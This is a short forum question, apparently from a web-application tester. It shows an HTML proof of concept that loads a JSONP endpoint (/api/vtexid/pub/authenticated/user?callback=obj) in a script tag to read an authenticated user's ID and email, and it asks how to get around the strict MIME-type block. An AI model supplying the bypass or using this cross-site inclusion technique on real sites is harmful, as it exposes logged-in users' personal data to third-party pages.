I am testing a Web Application and i have found a endpoint which is returning some data in json the endpoint is this.
/api/vtexid/pub/authenticated/user
Now i was testing to find out that if this endpoint supports JSONP by appending a query parameter of ?callback=obj
/api/vtexid/pub/authenticated/user?callback=obj
When i open this url a file was downloaded and it looked something like this.
obj({
"userId": "123",
"user": "abc@gmail.com",
"userType": "F"
})
Now when i tried to load the endpoint in a <script>
tag to extract the data.
<html>
<script>
function obj(d) {console.log(d)}
</script>
<script src="https://www.example.com/api/vtexid/pub/authenticated/user?callback=obj" type="application/jsonp"></script>
</html>
I ended up getting an error in the console that
Refused to execute script from 'https://www.example.com/api/vtexid/pub/authenticated/user?callback=obj' because its MIME type ('application/jsonp') is not executable, and strict MIME type checking is enabled.
And looking into the Request Headers the Content-Type
is set to application/jsonp
So is there any workaround for this to get the data.